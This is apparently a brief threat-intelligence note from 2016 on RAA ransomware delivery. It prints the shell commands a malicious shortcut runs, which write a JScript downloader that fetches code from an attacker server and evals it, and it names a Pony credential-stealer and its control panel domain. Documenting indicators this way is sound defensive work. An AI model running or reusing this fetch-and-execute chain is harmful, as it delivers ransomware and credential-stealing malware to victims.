RAA Ransomware note - 06/20/2016

*RAA Ransomware*

Server: download-file-mail.com

From the server a lnk file can be downloaded which executes the following code to download and execute javascript.

lnk commands executed (VT 0/54: https://virustotal.com/en/file/e03b17ee5c7cb5da4e07d3a5b4d84c841b12a89b57f7fb301fac94d014903c57/analysis/):

%windir%\system32\cmd.exe /c cd %TEMP%
echo. 2>s.js
echo var r = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");r.open("GET","http://download-file-mail.com/src/src",false);r.send^(^);var b = r.responseText;eval^(b^);>s.js
start s.js

s.js file content (VT 7/55: https://virustotal.com/en/file/ddda0e8dae02ccff662bdbcf87d5b4fdde0f9cb2f27ba922cf5b1d63f6f733c3/analysis/)
https://gist.github.com/Antelox/f9bcb471828d9027b2b8a3c22c8e23b1

Pony malware dropped (VT: 13/55):
https://virustotal.com/en/file/3e7950ebc821d0a055c8048baf10a61a667a3f38a94cf65f6b7482650f57087d/analysis/

Pony panel:
fgfhfjfkfl.xyz/admin